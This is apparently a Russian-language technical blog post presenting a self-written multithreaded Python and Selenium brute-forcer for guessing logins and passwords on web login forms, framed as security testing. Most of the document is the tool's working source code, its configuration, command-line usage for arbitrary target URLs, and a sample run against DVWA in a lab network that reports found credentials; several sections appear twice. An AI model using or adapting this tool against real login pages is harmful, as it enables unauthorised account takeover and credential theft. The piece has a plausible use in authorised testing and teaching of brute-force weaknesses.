Перед разработчиками и тестировщиками web-приложений периодически встают задачи тестирования безопасности разрабатываемого продукта. Один из наиболее известных классификаторов угроз и уязвимостей для web-приложений - The Web Application Security Consortium (The WASC) Threat Classification v2.0.
Одна из популярных уязвимостей (Weaknesses - в классификаторе), встречающихся для web-приложений - это недостатки подсистемы авторизации (WASC-02 Insufficient Authorization). На web-приложение, имеющее данную уязвимость, могут попытаться осуществить атаку (Attacks - в классификаторе) типа "Брутфорс" (WASC-11 Brute Force). При этом злоумышленник может попытаться осуществить подбор учетных данных на странице авторизации, если она недостаточно защищена.
К недостаткам защиты страницы авторизации можно отнести:
- отсутствие ограничения по числу попыток авторизации,
- отсутствие поля для ввода дополнительной информации - капчи (capture),
- отсутствие временной задержки между попытками авторизации и другие.
Наличие указанных недостатков в реализации подсистемы авторизации упрощает злоумышленнику доступ к web-приложению.
Одна из разновидностей атаки брутфорсом - подбор учетных данных (Brute Forcing Log-in Credentials) для страницы авторизации (Form-based Auth). Для имитации данного типа атаки был написан свой многопоточный брутфорсер Password Bruter на Python 3.2. В качестве цели было развернуто и использовано уязвимое web-приложение Damn Vulnerable Web Application (DVWA).
1. Краткое описание
Password Bruter - программа для многопоточного подбора учетных данных вида {логин/пароль} к страничкам с form-based авторизацией, написанная на Python 3.2.Пример странички с form-based авторизацией расположен в DVWA на вкладке "Brute Force".
Особенности:
- Универсальность применения. Bruter подходит для большинства html-форм авторизации, так как поля логина, пароля, кнопки подтверждения входа, условия успешной и неуспешной авторизаций задаются в файле конфигурации через xPath-адресацию.
- Многопоточный перебор. Учетные данные перебираются в отдельных потоках.
- Имитация действий пользователя. Атака фактически осуществляется в браузерах, запущенных Selenium WebDriver.
- Предварительное разбиение множества паролей по отдельным потокам.
- Возможность случайного перебора вместо последовательного, для повышения вероятности нахождения валидных учетных данных.
- Генератор для создания файла со списком псевдослучайных строк, состоящих из выбранных символов различных алфавитов.
- Настройка большинства параметров запуска программы как через командную строку, так и через файл конфигурации.
- Предварительная оценка времени работы, ведение подробного лога, формирование отчета о фактическом времени работы, результатах перебора в отдельных потоках, и прочее.
2. Программный код.
Программный код доступен в zip-архиве по ссылке:
https://docs.google.com/open?id=0B-1rf8K04ZS5UV93bkl6bjdiS1U
Код на GitHub:
https://github.com/Tim55667757/pwd_brut
/browser_drivers - каталог с Windows-драйверами для chrome и ie.
/ff_profile - каталог для индивидуального профиля мозиллы (пустой по умолчанию).
/dict - каталог по умолчанию для словарей со списками учетных данных.
pwd.txt - текстовый файл по умолчанию для списка паролей.
users.txt - текстовый файл по умолчанию для списка логинов.
pwd_brut.py - основной модуль для многопоточного запуска брутфорса.
bruter_lib.py - библиотека функций брутфорсера.
config.py - файл с переменными для конфигурации программы.
readme.txt - актуальная информация по проекту.
result.txt - текстовый файл по умолчанию для вывода результатов брутфорса.
workDir = os.path.abspath(os.curdir) # Рабочая директория проекта, относительно которой строятся другие пути.
threads = [] # Список потоков.
browsers = [] # Список запущенных браузеров. Каждый браузер в отдельном потоке.
Основные функции:
В ходе работы, программа выводит в консоль подробные логи о выполняемых действиях и расчетное время операций подбора. Результаты программы выводятся по умолчанию в файл result.txt.
https://docs.google.com/open?id=0B-1rf8K04ZS5UV93bkl6bjdiS1U
Код на GitHub:
https://github.com/Tim55667757/pwd_brut
Структура проекта
pwd_brut - корень проекта./browser_drivers - каталог с Windows-драйверами для chrome и ie.
/ff_profile - каталог для индивидуального профиля мозиллы (пустой по умолчанию).
/dict - каталог по умолчанию для словарей со списками учетных данных.
pwd.txt - текстовый файл по умолчанию для списка паролей.
users.txt - текстовый файл по умолчанию для списка логинов.
pwd_brut.py - основной модуль для многопоточного запуска брутфорса.
bruter_lib.py - библиотека функций брутфорсера.
config.py - файл с переменными для конфигурации программы.
readme.txt - актуальная информация по проекту.
result.txt - текстовый файл по умолчанию для вывода результатов брутфорса.
Содержимое модуля pwd_brut.py
Main() # Инициализация параметров, создание и сопровождение потоков, открытие браузеров, запуск брутфорса в потоках.
def Main():
"""
Multithread runner.
"""
try:
# Getting users and separate password's list.
print('%s - Getting list of users ...' % datetime.now().strftime('%H:%M:%S %d.%m.%Y'))
usersList = GetListFromFile(config.usersFile)
print('%s - Getting list of passwords ...' % datetime.now().strftime('%H:%M:%S %d.%m.%Y'))
passwordsList = [GetListFromFile(config.passwordsFile)]
if len(passwordsList[0]) / config.brutThreads <= 1:
config.brutThreads = 1
if config.brutThreads > 1:
print('%s - Separate passwords list by threads ...' % datetime.now().strftime('%H:%M:%S %d.%m.%Y'))
passwordsList = SeparateListByPieces(passwordsList[0], config.brutThreads)
print('%s - Bruter initialize, status: oK' % datetime.now().strftime('%H:%M:%S %d.%m.%Y'))
# Open new browser's instance, going to form-based auth page and start brute.
for i in range(config.brutThreads):
OpenBrowser(i, config.timeout, config.selBrowserString, config.selFFProfile)
GoingToTarget(i, config.timeout, config.target,
config.xPathLogin, config.xPathPassword, config.xPathAcceptButton)
threads.append(threading.Thread(
target=Bruter,
args=(i, config.timeout, config.xPathLogin, config.xPathPassword, config.xPathAcceptButton,
config.xPathSuccessAuth, config.xPathFailAuth, usersList, passwordsList[i],
config.randomCredentials, config.resultFile)))
et = EstimateTime(len(usersList), len(passwordsList[i]), config.timeout,
round(config.rumpUpPeriod / config.brutThreads))
print('%s - Thread #%d, %s' % (datetime.now().strftime('%H:%M:%S %d.%m.%Y'), i, et))
threads[i].start()
if (config.brutThreads > 1) and (config.rumpUpPeriod > 0) and (i != config.brutThreads - 1):
time.sleep(config.rumpUpPeriod / config.brutThreads)
# Waiting until all threads done.
threadsAreInProgress = True
while threadsAreInProgress:
for t in threads:
if t != None:
threadsAreInProgress = True
break
else:
threadsAreInProgress = False
except BaseException:
print('%s - Bruter initialize, status: error' % datetime.now().strftime('%H:%M:%S %d.%m.%Y'))
traceback.print_exc()
finally:
status = Cleaner()
sys.exit(status)
Содержимое модуля bruter_lib.py
Основные глобальные переменные:workDir = os.path.abspath(os.curdir) # Рабочая директория проекта, относительно которой строятся другие пути.
threads = [] # Список потоков.
browsers = [] # Список запущенных браузеров. Каждый браузер в отдельном потоке.
Основные функции:
ParseArgs() # Парсер аргументов командной строки.
def ParseArgs():
"""
Function get and parse command line keys.
"""
args = []
try:
parser = argparse.ArgumentParser()
parser.add_argument("-t", "--target", type=str,
help="Target URL for Bruter. For example: '--target=http://mysite.com/admin/'")
parser.add_argument("-b", "--browser", type=str,
help="Browser for Bruter (*firefox, *ie, *chrome). *firefox by default.")
parser.add_argument("-r", "--random", type=str,
help="If this key is True then Bruter uses random user and password in every iteration.")
parser.add_argument("-T", "--threads", type=int, help="Thread's number.")
parser.add_argument("-w", "--wait", type=int, help="Waiting for operation's finish (sec.).")
parser.add_argument("-p", "--period", type=int,
help="Rump up period shows time (sec.) in which all test suite threads will start.")
parser.add_argument("-L", "--logins", type=str, help="Path to user's list. Default: dict/users.txt")
parser.add_argument("-P", "--passwords", type=str, help="Path to password's list. Default: dict/pwd.txt")
parser.add_argument("-R", "--results", type=str, help="Path to result file. Default: result.txt")
parser.add_argument("-g", "--generator", type=str,
help="Generate a lot of random strings for Bruter. Example: '-g [100,8,1,1,1,0,0,0]'.\n" +
"This means:\n" +
"1 number - number of strings, 2 - string's length, 3 - use or not Numbers," +
"4 - use or not Latin Upper Case Chars, 5 - use or not Latin Lower Case Chars" +
"6 - use or not Russian Upper case chars, 7 - use or not Russian Lower Case Chars,"
"8 - use or not Special Simbols. Output file: dict/rnd_.txt")
args = parser.parse_args()
if args.target != None:
config.target = args.target
if (args.browser == '*chrome') or (args.browser == '*ie'):
config.selBrowserString = args.browser
else:
config.selBrowserString = '*firefox'
if args.random != None:
if args.random == 'True':
config.randomCredentials = True
else:
config.randomCredentials = False
if args.threads != None:
config.brutThreads = args.threads
if args.wait != None:
config.timeout = args.wait
if args.period != None:
config.rumpUpPeriod = args.period
if args.logins != None:
if os.path.exists(args.logins):
config.usersFile = args.logins
else:
config.usersFile = 'dict/users.txt'
if args.passwords != None:
if os.path.exists(args.passwords):
config.passwordsFile = args.passwords
else:
config.passwordsFile = 'dict/pwd.txt'
if args.results != None:
if os.path.exists(args.results):
config.resultFile = args.results
else:
config.resultFile = 'result.txt'
if args.generator != None:
params = []
try:
params = StringOfNumToNumsList(args.generator)
except:
pass
finally:
if len(params) >= 8:
config.randomGeneratorParameter = params
else:
print('%s - Generator using default parameters from config file: %s' %
(datetime.now().strftime('%H:%M:%S %d.%m.%Y'), config.randomGeneratorParameter))
print('%s - Parsing command line arguments, status: oK' % datetime.now().strftime('%H:%M:%S %d.%m.%Y'))
except BaseException:
print('%s - Parsing command line arguments, status: error' % datetime.now().strftime('%H:%M:%S %d.%m.%Y'))
traceback.print_exc()
finally:
return args
EstimateTime(numLogins, numPasswords, waitInSec, rumpUp, treadsNum) # Функция расчета ожидаемого времени работы.
def EstimateTime(numLogins=0, numPasswords=0, waitInSec=1, timeForStartingTreads=0):
"""
Function returns info about estimate time.
"""
try:
es = numLogins * numPasswords * waitInSec + timeForStartingTreads
eh = round(es / 3600)
info = 'Users: %d, Passwords: %d, Full Estimated Time: %d sec. (~%d hours).' %\
(numLogins, numPasswords, es, eh)
except BaseException:
traceback.print_exc()
return 'Can\'t compute estimate time!'
return info
DurationOperation(func) # Декоратор для оценки времени работы функций.
def DurationOperation(func):
"""
This is decorator for compute duration operation of functions. It works only with functions returning number >= 0.
"""
def wrapper(*args, **kwargs):
startTime = datetime.now()
print('%s - Thread #%d, %s, starting ...' % (startTime.strftime('%H:%M:%S %d.%m.%Y'), args[0], str(func)))
status = func(*args, **kwargs)
stopTime = datetime.now()
if status == 0:
print('%s - Thread #%d, %s, status: oK' % (stopTime.strftime('%H:%M:%S %d.%m.%Y'), args[0], str(func)))
else:
print('%s - Thread #%d, %s, status: error' % (stopTime.strftime('%H:%M:%S %d.%m.%Y'), args[0], str(func)))
duration = stopTime - startTime
print('%s - Thread #%d, %s, duration operation: %s' %
(stopTime.strftime('%H:%M:%S %d.%m.%Y'), args[0], str(func), str(duration)))
return status
return wrapper
StringOfNumToNumsList(string) # Конвертер строки чисел с разделителями в список чисел.
def StringOfNumToNumsList(string):
"""
Get some string with numbers and other simbols, for example:'[572,573,604,650]' or similar
and convert it to list of numbers as [572, 573, 604, 650].
"""
numList = []
try:
while len(string) != 0:
s = ''
i = 0
flag = True
while flag and i < len(string):
if string[i] in '0123456789':
s = s + string[i]
i += 1
else:
flag = False
if s != '':
numList.append(int(s))
string = string[i + 1:]
except:
print('%s - Can\'t parse your string of numbers to list of numbers!' %
datetime.now().strftime('%H:%M:%S %d.%m.%Y'))
traceback.print_exc()
return []
return numList
GetListFromfile(file) # Получение списка строк из файла.
def GetListFromFile(file):
"""
This function get strings from file and put into list. Text-file must have #13#10
"""
listFromFile = []
if os.path.exists(file):
try:
with open(file) as fh:
allStrings = fh.read()
listFromFile = allStrings.split('\n')
except BaseException:
print('%s - Can\'t get list from file: %s' % (datetime.now().strftime('%H:%M:%S %d.%m.%Y'), file))
traceback.print_exc()
return []
return listFromFile
SeparateListByPieces(fullList, piecesNum) # Возвращает список списков, полученных разбиением входного списка на указанное число "кусков".
def SeparateListByPieces(fullList, piecesNum):
"""
Function get full list of objects and then divided into a number of parts. Last part may be bigger, than other.
Function return a list of part of full list.
"""
separate = []
listLen = len(fullList)
if (listLen > 0) and (piecesNum > 1):
try:
objectsInPieces = listLen // piecesNum
for i in range(piecesNum):
piece = [fullList[i * objectsInPieces + k] for k in range(objectsInPieces)]
separate.append(piece)
separate[piecesNum - 1] += fullList[piecesNum * objectsInPieces:]
except BaseException:
print('%s - Can\'t separate list of objects!' % datetime.now().strftime('%H:%M:%S %d.%m.%Y'))
traceback.print_exc()
return [fullList]
else:
separate = [fullList]
return separate
Reporting(instance, file, creds, users, passwords, actualTime) # Репортер для брутфорсера.
@DurationOperation
def Reporting(instance=0, file='result.txt', creds=None, users=None, passwords=None, actualTime=0):
"""
This function print results to file.
"""
try:
if os.path.exists(file):
fileTo = open(file, 'a')
else:
fileTo = open(file, 'w')
fileTo.write('\n%s - Thread #%d, Bruter finished check for\n' %
(datetime.now().strftime('%H:%M:%S %d.%m.%Y'), instance) +
'users = [\'%s\', ..., \'%s\'], %d items,\n' % (users[0], users[-1], len(users)) +
'passwords = [\'%s\', ..., \'%s\'], %d items.\n' % (passwords[0], passwords[-1], len(passwords)) +
'Actual time worked: %s\n' % str(actualTime))
if (creds != None) and (creds != {}):
fileTo.write('Suitable credentials: %s\n' % str(creds))
else:
fileTo.write('Bruter can\'t find suitable credentials.\n')
print('%s - Thread #%d, Updating report file: \'%s\'' %
(datetime.now().strftime('%H:%M:%S %d.%m.%Y'), instance, file))
fileTo.close()
except BaseException:
traceback.print_exc()
return 1
return 0
OpenBrowser(instance, opTimeout, browserString, ffProfile) # Открытие и подготовка браузера к работе.
@DurationOperation
def OpenBrowser(instance=0, opTimeout=10, browserString='*firefox', ffProfile=None):
"""
Commands for opening new instance of WebDriver browser.
"""
try:
# Get new browser instance and put it into browser array. One browser for one thread.
if browserString == '*chrome':
chromeOptions = webdriver.ChromeOptions()
chromeOptions.add_argument('--start-maximized')
chromeOptions.add_argument('--log-path=' + workDir + '/browser_drivers/chromedriver.log')
os.chdir(workDir + '/browser_drivers')
browsers.append(webdriver.Chrome(executable_path=workDir + '/browser_drivers/chromedriver.exe',
chrome_options=chromeOptions))
os.chdir(workDir)
elif browserString == '*ie':
browsers.append(webdriver.Ie(executable_path=workDir + '/browser_drivers/IEDriverServer.exe',
log_file=workDir + '/browser_drivers/iedriver.log'))
browsers[len(browsers) - 1].maximize_window()
else:
ffp = webdriver.FirefoxProfile(ffProfile)
browsers.append(webdriver.Firefox(firefox_profile=ffp, timeout=opTimeout))
browsers[len(browsers) - 1].maximize_window()
except BaseException:
traceback.print_exc()
return 1
return 0
GoingToTarget(instance, opTimeout, targetURL, loginField, passwordField, acceptButton) # Переход к целевой страничке.
@DurationOperation
def GoingToTarget(instance=0, opTimeout=10, targetURL='', loginField="//input[@name='login']",
passwordField="//input[@name='password']", acceptButton="//input[@type='submit']"):
"""
This funcion going to target's URL with form-based auth.
"""
try:
page = browsers[instance]
page.get(targetURL)
WebDriverWait(page, opTimeout).until(
lambda el: el.find_element_by_xpath(loginField).is_displayed() and
el.find_element_by_xpath(passwordField).is_displayed() and
el.find_element_by_xpath(acceptButton).is_displayed(), 'Timeout while opening auth page.')
except BaseException:
traceback.print_exc()
return 1
return 0
CloseBrowser(instance=0) # Завершение работы браузера.
@DurationOperation
def CloseBrowser(instance=0):
"""
Try to close WebDriver browser.
"""
if len(browsers) > 0:
if browsers[instance] != None:
try:
browsers[instance].close()
browsers[instance] = None
except BaseException:
traceback.print_exc()
return 1
return 0
Cleaner() # Функция для корректного завершения всех операций и потоков программы.
def Cleaner():
"""
Finalization step for Bruter.
"""
status = 0
try:
# Stopping compute threads and closing browsers.
for t in threads:
if t != None:
t._stop()
t = None
for b in range(len(browsers)):
status += CloseBrowser(b)
if status == 0:
print('%s - Bruter finalize, status: oK' % datetime.now().strftime('%H:%M:%S %d.%m.%Y'))
except BaseException:
print('%s - Bruter finalize, status: error' % datetime.now().strftime('%H:%M:%S %d.%m.%Y'))
traceback.print_exc()
return 1
return status
GenerateRandomString(length, useNum, useEngUp, useEngLo, useRuUp, useRuLo, useSpecial) # Генерация псевдослучайной строки указанной длины, состоящей из символов указанных алфавитов.
def GenerateRandomString(length=8, useNum=True, useEngUp=True, useEngLo=True, useRuUp=False, useRuLo=False,
useSpecial=False):
"""
Function return random text-string definite length, that will be use as login or password.
1 number - number of strings, 2 - string's length, 3 - use or not Numbers,
4 - use or not English Upper Case Chars, 5 - use or not English Lower Case Chars,
6 - use or not Russian Upper case chars, 7 - use or not Russian Lower Case Chars, 8 - use or not Special Simbols.
"""
# There are possible simbols in alphabet.
alphabet = {
'dicNum': '1234567890',
'dicEngCharUpperCase': 'ABCDEFGHIJKLMNOPQRSTUVWXYZ',
'dicEngCharLowerCase': 'abcdefghijklmnopqrstuvwxyz',
'dicRuCharUpperCase': 'АБВГДЕЁЖЗИЙКЛМНОПРСТУФХЦЧШЩЬЫЪЭЮЯ',
'dicRuCharLowerCase': 'абвгдеёжзийклмнопрстуфхцчшщьыъэюя',
'dicSpecial': '!@#$%^&*()-_+=.,<>[]{}\|/`~"\':;'}
# Preparing user's alphabet.
usersAlphabet = ''
if useNum:
usersAlphabet += alphabet['dicNum']
if useEngUp:
usersAlphabet += alphabet['dicEngCharUpperCase']
if useEngLo:
usersAlphabet += alphabet['dicEngCharLowerCase']
if useRuUp:
usersAlphabet += alphabet['dicRuCharUpperCase']
if useRuLo:
usersAlphabet += alphabet['dicRuCharLowerCase']
if useSpecial:
usersAlphabet += alphabet['dicSpecial']
usersAlpLen = len(usersAlphabet)
# Generating random string with user prefers.
textString = ''
try:
if (length > 0) and (usersAlphabet != ''):
for i in range(length):
textString += usersAlphabet[random.randint(0, usersAlpLen - 1)]
except BaseException:
textString = ''
print('%s - Can\'t generate random string!' % datetime.now().strftime('%H:%M:%S %d.%m.%Y'))
traceback.print_exc()
finally:
return textString
GenerateListOfRandomStrings(numbers, length, useNum, useEngUp, useEngLo, useRuUp, useRuLo, useSpecial) # Генерация листа с указанным числом псевдослучайных строк.
def GenerateListOfRandomStrings(numbers=10, length=8, useNum=True, useEngUp=True, useEngLo=True,
useRuUp=False, useRuLo=False, useSpecial=False):
"""
Function return list of random text-string definite length, that will be use as login or password.
1 number - number of strings, 2 - string's length, 3 - use or not Numbers,
4 - use or not English Upper Case Chars, 5 - use or not English Lower Case Chars,
6 - use or not Russian Upper case chars, 7 - use or not Russian Lower Case Chars, 8 - use or not Special Simbols.
"""
rndList = []
try:
if numbers > 0:
for i in range(numbers):
rndList.append(GenerateRandomString(length, useNum, useEngUp, useEngLo, useRuUp, useRuLo, useSpecial))
except BaseException:
rndList = []
print('%s - Can\'t generate list of random string!' % datetime.now().strftime('%H:%M:%S %d.%m.%Y'))
traceback.print_exc()
finally:
return rndList
GenerateFileWithRandomStrings(par) # Генерация файла со списком псевдослучайных строк.
def GenerateFileWithRandomStrings(par=None):
"""
Function create file with random text-string, that will be use as login or password.
Example: Par = [100, 5, 1, 1, 1, 0, 0, 0]
1 number - number of strings, 2 - string's length, 3 - use or not Numbers,
4 - use or not English Upper Case Chars, 5 - use or not English Lower Case Chars,
6 - use or not Russian Upper case chars, 7 - use or not Russian Lower Case Chars, 8 - use or not Special Simbols.
"""
file = 'dict/rnd_' + datetime.now().strftime('%d_%m_%Y_%H_%M_%S') + '.txt'
try:
if not (os.path.exists('dict')):
os.mkdir('dict')
fileTo = open(file, 'a')
if len(par) >= 8:
for i in range(2, 8):
if par[i] == 1:
par[i] = True
else:
par[i] = False
rndList = GenerateListOfRandomStrings(par[0], par[1], par[2], par[3], par[4], par[5], par[6], par[7])
else:
rndList = GenerateListOfRandomStrings(numbers=10, length=8, useNum=True, useEngUp=True, useEngLo=True,
useRuUp=False, useRuLo=False, useSpecial=False)
if len(rndList) > 0:
for string in rndList:
fileTo.write(string + '\n')
print('%s - Generate file with random strings: %s' % (datetime.now().strftime('%H:%M:%S %d.%m.%Y'), file))
fileTo.close()
except BaseException:
print('%s - Can\'t generate file with random strings!' % datetime.now().strftime('%H:%M:%S %d.%m.%Y'))
traceback.print_exc()
return 1
return 0
Bruter(instance, opTimeout, loginField, passwordField, acceptButton, successAuth, failAuth, users=None, passwords, randomization, result) # Основная функция для перебора учётных данных.
@DurationOperation
def Bruter(instance=0, opTimeout=3, loginField="", passwordField="", acceptButton="", successAuth="", failAuth="",
users=None, passwords=None, randomization=False, result='result.txt'):
"""
This function loops through user IDs and passwords and finds suitable credentials.
"""
# Dictionary {user:pass} for suitable user and password.
suitableCredentials = {}
startTime = datetime.now()
try:
page = browsers[instance]
modUsers = users[:]
modPasswords = passwords[:]
if randomization:
print('%s - Thread #%d, shuffling users and passwords ...' %
(datetime.now().strftime('%H:%M:%S %d.%m.%Y'), instance))
random.shuffle(modUsers)
random.shuffle(modPasswords)
print('%s - Thread #%d, trying to use credentials ...' %
(datetime.now().strftime('%H:%M:%S %d.%m.%Y'), instance))
for user in modUsers:
for pwd in modPasswords:
try:
page.find_element_by_xpath(loginField).clear()
page.find_element_by_xpath(loginField).send_keys(user)
page.find_element_by_xpath(passwordField).clear()
page.find_element_by_xpath(passwordField).send_keys(pwd)
page.find_element_by_xpath(acceptButton).click()
WebDriverWait(page, opTimeout).until(
lambda el: el.find_element_by_xpath(successAuth).is_displayed(), '')
suitableCredentials = {user: pwd}
print('%s - Thread #%d, found valid credentials: %s' %
(datetime.now().strftime('%H:%M:%S %d.%m.%Y'), instance, str({user: pwd})))
break
except:
try:
WebDriverWait(page, opTimeout).until(
lambda el: el.find_element_by_xpath(failAuth).is_displayed(),
'%s - Thread #%d, Can\'t find auth fields! Possible connection problem.' %
(datetime.now().strftime('%H:%M:%S %d.%m.%Y'), instance))
except:
pass
if suitableCredentials != {}:
break
threads[instance] = None
Reporting(instance, result, suitableCredentials, users, passwords, datetime.now() - startTime)
except:
traceback.print_exc()
return 1
return 0
В ходе работы, программа выводит в консоль подробные логи о выполняемых действиях и расчетное время операций подбора. Результаты программы выводятся по умолчанию в файл result.txt.
3. Запуск программы.
Password Bruter можно запустить без параметров, в этом случае он начнет подбирать учетные данные согласно настройкам по умолчанию, заданным в файле конфигурации config.py. Все параметры содержат комментарии. Рекомендуется не изменять имена переменных-параметров.
Находясь в корне проекта для запуска программы можно использовать команду: python pwd_brut.py [options] [options] - необязательные параметры командной строки, так как все настройки могут быть заданы в config.py.
target = 'http://mysite.com/admin/' # Целевая страничка с form-based авторизацией.
xPathLogin = "//input[@name='login']" # xPath для поля логина.
xPathPassword = "//input[@name='password']" # xPath для поля пароля.
xPathAcceptButton = "//input[@type='submit']" # xPath для кнопки подтверждения входа.
xPathSuccessAuth = "//a[@id='loginLink']" # xPath для условия успешной авторизации.
xPathFailAuth = "//div[@id='error']" # xPath для условия провала авторизации.
selBrowserString = '*firefox' # Строка браузера показывает Selenium WebDriver какой браузер нужно запустить: *firefox, *chrome, *ie.
selFFProfile = 'ff_profile' # Профиль Mozilla. Этот параметр используется только ff. Это относительный путь до директории с профилем.
Параметры для брутфорсера:
usersFile = 'dict/users.txt' # Путь к файлу со списком логинов.
passwordsFile = 'dict/pwd.txt' # Путь к файлу со списком паролей.
resultFile = 'result.txt' # Путь к файлу для вывода результатов.
brutThreads = 1 # Число потоков для запуска брутфорса.
rumpUpPeriod = brutThreads * 5 # Период в секундах, показывающий когда все потоки будут запущены.
timeout = 1 # Таймаут операций в сек. Требует особого подбора. Если поставить слишком маленький, есть шанс пропустить успешную авторизацию.
randomCredentials = False # Если ключ равен True, тогда Bruter использует случайные учетные данные, а не по порядку, как указано в файлах с логинами и паролями.
Параметры генератора псевдослучайных строк:
randomGeneratorParameter = [100, 8, 1, 1, 1, 0, 0, 0] # В конфигурации можно указывать список с пробелами. В командной строке - числа могут разделяться только знаками препинания.
Параметры для консольного запуска представлены ключами:
| Ключ | Слово | Описание |
|---|---|---|
-h | --help | Показать подсказку по опциям. |
-t | --target | Целевой URL для программы, указывающий на страничку с form-based авторизацией. Примеры: --target=http://mysite.com/admin/ t http://site.ru/ |
-b | --browser | Строка браузера (*firefox, *chrome, *ie), показывающая, в каком браузере запустить перебор. По умолчанию, запускается firefox. Примеры: --browser=*chrome -b *ie |
-r | --random | Если ключ равен True, тогда программа использует случайные учетные данные при переборе. Примеры: --random=True -r False |
-T | --threads | Число потоков, в которых будет запущен перебор. Примеры: --threads=5 -T 10 |
-w | --wait | Ожидание успешного завершения операций в браузере, сек. Примеры: --wait=2 -w 1 |
-p | --period | Период, в течении которого следует запустить все потоки. Ориентировочно +5 сек. на поток. Примеры: --period=10 -p 5 |
| -L | --logins | Путь к текстовому файлу со списком логинов. По умолчанию, dict/users.txt. Примеры: --logins=my_logins.txt -L dict/123/my_logins.txt |
| -P | --passwords | Путь к текстовому файлу со списком паролей. По умолчанию, dict/pwd.txt. Примеры: --passwords=my_pass.txt -P dict/123/my_passwords.txt |
-R | --results | Путь к текстовому файлу для вывода результатов. По умолчанию, result.txt. Примеры: --results=res.log -R results/res.log |
-g | --generator | Генератор псевдослучайных строк, выходной файл: dict/rnd_<date_time>.txt. На вход подаётся список чисел [1,2,3,4,5,6,7,8], в котором: 1 число - количество случайных строк, 2 число - длина генерируемых строк, 3 цифра - {0, 1} - использовать или нет цифры при генерации, 4 цифра - {0, 1} - использовать (0) или нет (1) большие символы латинского алфавита, 5 цифра - {0, 1} - использовать (0) или нет (1) маленькие символы латинского алфавита, 6 цифра - {0, 1} - использовать (0) или нет (1) большие символы русского алфавита, 7 цифра - {0, 1} - использовать (0) или нет (1) маленькие символы русского алфавита, 8 цифра - {0, 1} - использовать (0) или нет (1) специальные символы: !@#$%^&*()-_+=.,<>[]{}\|/`~"\':; Пример: --generator=[100,8,1,1,1,0,0,0] - сгенерировать 100 случайных строк, длины 8, состоящих только из цифр, больших и маленьких символов латинского алфавита. |
Примеры использования ключей:
python pwd_brut.py --target=http://mysite.com/admin/ # Запуск брутфорса на целевую страничку. Браузер Mozilla по умолчанию. python pwd_brut.py -L my_logins.txt -P my_passs.txt -R res.log # Запуск программы с измененными словарями и файлом для результатов. python pwd_brut.py -w 2 -r True -T 10 # Установить время ожидания операций в 2 сек., выбирать случайные учетные данные из списков, запустить 10 потоков. python pwd_brut.py -g [10,5,1,0,0,0,0,0] # Сгенерировать 10 случайных строк, длины 5, состоящих только из цифр. Результат будет выведен в файл: dict/rnd_<текущие_дата_время>.txt
Настройка программы через файл конфигурации config.py
Параметры для цели:target = 'http://mysite.com/admin/' # Целевая страничка с form-based авторизацией.
xPathLogin = "//input[@name='login']" # xPath для поля логина.
xPathPassword = "//input[@name='password']" # xPath для поля пароля.
xPathAcceptButton = "//input[@type='submit']" # xPath для кнопки подтверждения входа.
xPathSuccessAuth = "//a[@id='loginLink']" # xPath для условия успешной авторизации.
xPathFailAuth = "//div[@id='error']" # xPath для условия провала авторизации.
selBrowserString = '*firefox' # Строка браузера показывает Selenium WebDriver какой браузер нужно запустить: *firefox, *chrome, *ie.
selFFProfile = 'ff_profile' # Профиль Mozilla. Этот параметр используется только ff. Это относительный путь до директории с профилем.
Параметры для брутфорсера:
usersFile = 'dict/users.txt' # Путь к файлу со списком логинов.
passwordsFile = 'dict/pwd.txt' # Путь к файлу со списком паролей.
resultFile = 'result.txt' # Путь к файлу для вывода результатов.
brutThreads = 1 # Число потоков для запуска брутфорса.
rumpUpPeriod = brutThreads * 5 # Период в секундах, показывающий когда все потоки будут запущены.
timeout = 1 # Таймаут операций в сек. Требует особого подбора. Если поставить слишком маленький, есть шанс пропустить успешную авторизацию.
randomCredentials = False # Если ключ равен True, тогда Bruter использует случайные учетные данные, а не по порядку, как указано в файлах с логинами и паролями.
Параметры генератора псевдослучайных строк:
randomGeneratorParameter = [100, 8, 1, 1, 1, 0, 0, 0] # В конфигурации можно указывать список с пробелами. В командной строке - числа могут разделяться только знаками препинания.
4. Пример реализации атаки на страничку авторизации в DVWA.
Было установлено и развернуто приложение DVWA. Для брутера были указаны параметры:
target = 'http://10.111.113.83/dvwa/vulnerabilities/brute/'
xPathLogin = "//input[@name='username']"
xPathPassword = "//input[@name='password']"
xPathAcceptButton = "//input[@name='Login']"
xPathSuccessAuth = "//img[@src='http://10.111.113.83/dvwa/hackable/users/admin.jpg']"
xPathFailAuth = "//pre[contains(text(), 'Username and/or password incorrect.']"
selBrowserString = '*chrome'
usersFile = 'dict/users.txt'
passwordsFile = 'dict/pwd.txt'
resultFile = 'result.txt'
brutThreads = 2
rumpUpPeriod = brutThreads * 5
timeout = 1
randomCredentials = True
xPathLogin = "//input[@name='username']"
xPathPassword = "//input[@name='password']"
xPathAcceptButton = "//input[@name='Login']"
xPathSuccessAuth = "//img[@src='http://10.111.113.83/dvwa/hackable/users/admin.jpg']"
xPathFailAuth = "//pre[contains(text(), 'Username and/or password incorrect.']"
selBrowserString = '*chrome'
usersFile = 'dict/users.txt'
passwordsFile = 'dict/pwd.txt'
resultFile = 'result.txt'
brutThreads = 2
rumpUpPeriod = brutThreads * 5
timeout = 1
randomCredentials = True
На выходе получили результаты в файл result.txt:
12:52:52 25.09.2012 - Thread #0, Bruter finished check for
users = ['admin', ..., ''], 5 items,
passwords = ['', ..., 'user'], 4 items.
Actual time worked: 0:00:05.838000
Suitable credentials: {'admin': ''}
12:53:59 25.09.2012 - Thread #1, Bruter finished check for
users = ['admin', ..., ''], 5 items,
passwords = ['guest', ..., 'qwerty'], 5 items.
Actual time worked: 0:00:09.354000
Bruter can't find suitable credentials.
